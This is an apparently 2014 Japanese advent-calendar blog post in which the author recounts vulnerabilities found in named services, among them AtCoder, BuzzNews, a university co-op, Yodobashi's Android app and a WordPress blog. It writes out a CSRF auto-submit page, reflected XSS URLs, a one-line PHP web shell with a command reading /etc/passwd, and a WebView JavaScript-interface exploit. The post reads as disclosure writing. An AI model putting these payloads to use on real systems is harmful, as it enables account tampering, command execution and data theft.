脆弱性"&'<<>\ Advent Calendar 2014 - Adventar
1日目 AtCoder
AtCoderができたばかりの頃は、クロスサイトリクエストフォージェリの対策がなされていなくて、下記のような罠ページをログイン済みのターゲットに踏ませれば、プロフィールを書き換えることが可能だった。確認はしていないけど、コンテスト中に間違ったソースコードを投稿させてペナルティをあたえたりもできたかもしれない。
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>AtCoder CSRF Test</title> </head> <body onload="document.getElementById('form').submit()"> <form id="form" target="frame" method="POST" action="http://arc002.contest.atcoder.jp/settings"> <input type="hidden" name="user_name" value="test"> <input type="hidden" name="user_screen_name" value="test"> <input type="hidden" name="mail" value="test@example.com"> <input type="hidden" name="affiliation" value="test"> <input type="hidden" name="twitter_id" value="test"> </form> <iframe id="frame" width="1" height="1"> </iframe> </body> </html>
そもそも、何も対策をしないと脆弱性になってしまうという意味で、POSTをクロスサイトで送れるというHTTPの仕様が間違いだと思うのだけど、今さら変えられないのだろうな……。
2日目 BuzzNews
著作権侵害で炎上したキュレーションサービス。反省して（？）画像を直リンするようになったけど、最近は元に戻っている。
エスケープが全くされていなかったので、下記のURLでクロスサイトスクリプティングが可能だった。
http://buzznews.asia/tag/%3Cscript%3Ealert%28location%29%3C/script%3E
修正されたけど、<title>の部分はエスケープがされないままだった。このURLそのままでは動作しないけど、次のように<title>を閉じるとスクリプトが動作した。報告するときはエスケープされていない箇所全てでスクリプトが動作するように工夫するべきなのかもしれない。
http://buzznews.asia/tag/%3C/title%3E%3Cscript%3Ealert%28location%29%3C/script%3E
クロスサイトスクリプティングの悪用方法
ウィキペディアに書いてあるように、クッキーを奪取すれば、ログインしているユーザーに成り代わって（パスワードの再入力が不要な事なら）何でもできる。クッキーがHTTP onlyで奪取が無理でも、ページの内容を読み取って外部に送信したり、ユーザーの代わりにリクエストを送ったりできる。
一方で、BuzzNewsのようにユーザーが見るだけのサイトの場合、できることがあまり無い。「このサイトは閉鎖しました」と偽の掲示をするくらいだろうか。実は鬼の首をとったかのように騒ぐことではないのかもしれない。
3日目 東北大学生協
一言カードのページで「TEAS'TEA」と検索したら、検索結果の欄が真っ白になった。検索結果が無い場合は、真っ白ではなく、無いと表示される。SQLインジェクションのようで、下手に突っついてDBが飛んだりしたらマズいので、余計な事はしないでIPAに報告した。
クロスサイトリクエストフォージェリが可能で、ちょうどクロスサイトフォージェリによる遠隔操作での冤罪が話題になっていた時期だったのでこれも報告したけど、脆弱性ではないということだった。
4日目 某割れサイト
某割れサイトに、このアップローダーが設置されていた。配布サイトには
扱えるファイルの種類についての制限はありません。単なる画像アップローダとは違い様々な作業で利用できる反面危険ですので各種パスワードは信頼できる相手（共同運営者等）以外には知らせずに運用してください。
という注意書きがあるのに、アップロードが可能なパスワードもサイトに書いてあった。
任意のファイルがアップロードできるので、拡張子が.phpのファイルをアップロードすると、スクリプトがそのまま実行できる。スクリプトをいちいち書き換えるのが面倒ならば、
<?php passthru($_GET['cmd']);
というファイルをアップロードしておけば、
http://example.com/uploader/files/attack.php?cmd=cat%20/etc/passwd
のようにして好きなコマンドを実行できる。
5日目 ヨドバシ（Androidアプリ）
WebViewに関する脆弱性とHTTPSの証明書検証に関する脆弱性の2個。
WebViewに関する脆弱性。
Androidで最も作り込みやすい脆弱性だと思う。このスライドが詳しい。要するに、addJavaScriptInterfaceというメソッドによってWebView中のJavaScriptがAndroid側のクラスにアクセスできるようになる。呼び出されていることを想定しているメソッドだけが呼び出されるのかと思いきや、contextが取れて、結局そのアプリが持っている権限で好きなことができる。
でも、ヨドバシのアプリってヨドバシのページしか表示しないよね？→ページ内にTwitterとかはてなブックマークがあって、ヨドバシのページ以外も表示できた。そこから攻撃者が用意したページまで辿り着く人なんてまずいないだろうけど。
バイブレーターを動かす攻撃コード。ヨドバシの場合は local_obj がJavaScript側に追加されるオブジェクト。
<!DOCTYPE html> <html> <head> <title>Yodobashi Exploit</title> </head> <body> <pre> <script type="text/javascript"> // http://pastebin.com/1TyU7TT0 var loader = local_obj.getClass().getClassLoader(); var util = loader.loadClass("android.webkit.JniUtil"); var field = util.getDeclaredField("sContext"); field.setAccessible(true); var context = field.get(util); var cvib = loader.loadClass("android.os.Vibrator"); var vib = cvib.cast(context.getSystemService("vibrator")) vib.vibrate(1000); </script> </pre> </body> </html>
HTTPSの証明書検証
HTTPSでエラーが発生しても無視して続行していた。これでは攻撃者が中間者攻撃でオレオレ証明書を送り込んでも検知できない。Burp Suiteか何かをPCにインストールして、Androidのプロキシに設定すると確認できる。
public void onReceivedSslError(WebView paramWebView, SslErrorHandler paramSslErrorHandler, SslError paramSslError) { paramSslErrorHandler.proceed(); }
6日目 拡散性ミリオンアーサー（Android版）
バイナリエディタで /sdcard/Android/data/com.square_enix.million/files/save/appdata/save_appdata を開いたらパスワードが見えた。Windowsではどこに保存したところで他のアプリから見えてしまうけど、Androidでは他のアプリから見えないようにできるので、見えないようにするべき。アプリの領域ではなく、SDカードに保存すると他のアプリから見えてしまう。古いAndroidではSDカードの読み取りに何の権限も要らない。
昔は、READ_PHONE_STATE（IMEIとか電話番号の取得）が要求されていて、再インストールしてもパスワードが要求されなかったので、IMEIで認証していたのかもしれない。詳しく調べていないので分からない。IMEIは他のアプリからの取得可能なので、認証に使うべきではない。
7日目 WordPressを使った某ブログ
WordPressを使ったとあるブログで、 /wp-config.php.bak が閲覧可能になっていた。 /wp-config.php~ や /wp-config.php.swp もうっかり残る可能性があるので危険。